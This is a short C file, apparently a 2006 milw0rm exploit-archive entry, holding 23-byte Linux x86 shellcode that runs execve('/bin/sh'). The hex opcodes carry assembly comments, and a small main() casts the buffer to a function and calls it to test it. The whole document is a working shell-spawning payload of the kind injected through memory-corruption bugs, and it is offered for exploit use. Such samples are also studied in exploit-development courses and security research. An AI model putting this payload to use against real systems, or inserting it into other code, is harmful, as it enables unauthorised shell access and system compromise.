linux/x86 execve("/bin/sh", ["/bin/sh", NULL]) 23 bytes

/* * linux-x86-binshv2.c - 23 bytes * Copyright (c) 2006 Gotfault Security <xgc@gotfault.net> * * (Linux/x86) execve("/bin/sh", ["/bin/sh", NULL]) * */ char shellcode[] = "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x2f\x2f\x73\x68" // push $0x68732f2f "\x68\x2f\x62\x69\x6e" // push $0x6e69622f "\x89\xe3" // mov %esp, %ebx "\x52" // push %edx "\x53" // push %ebx "\x89\xe1" // mov %esp, %ecx "\xcd\x80"; // int $0x80 int main() { int (*f)() = (int(*)())shellcode; printf("Length: %u\n", strlen(shellcode)); f(); } // milw0rm.com [2006-04-03]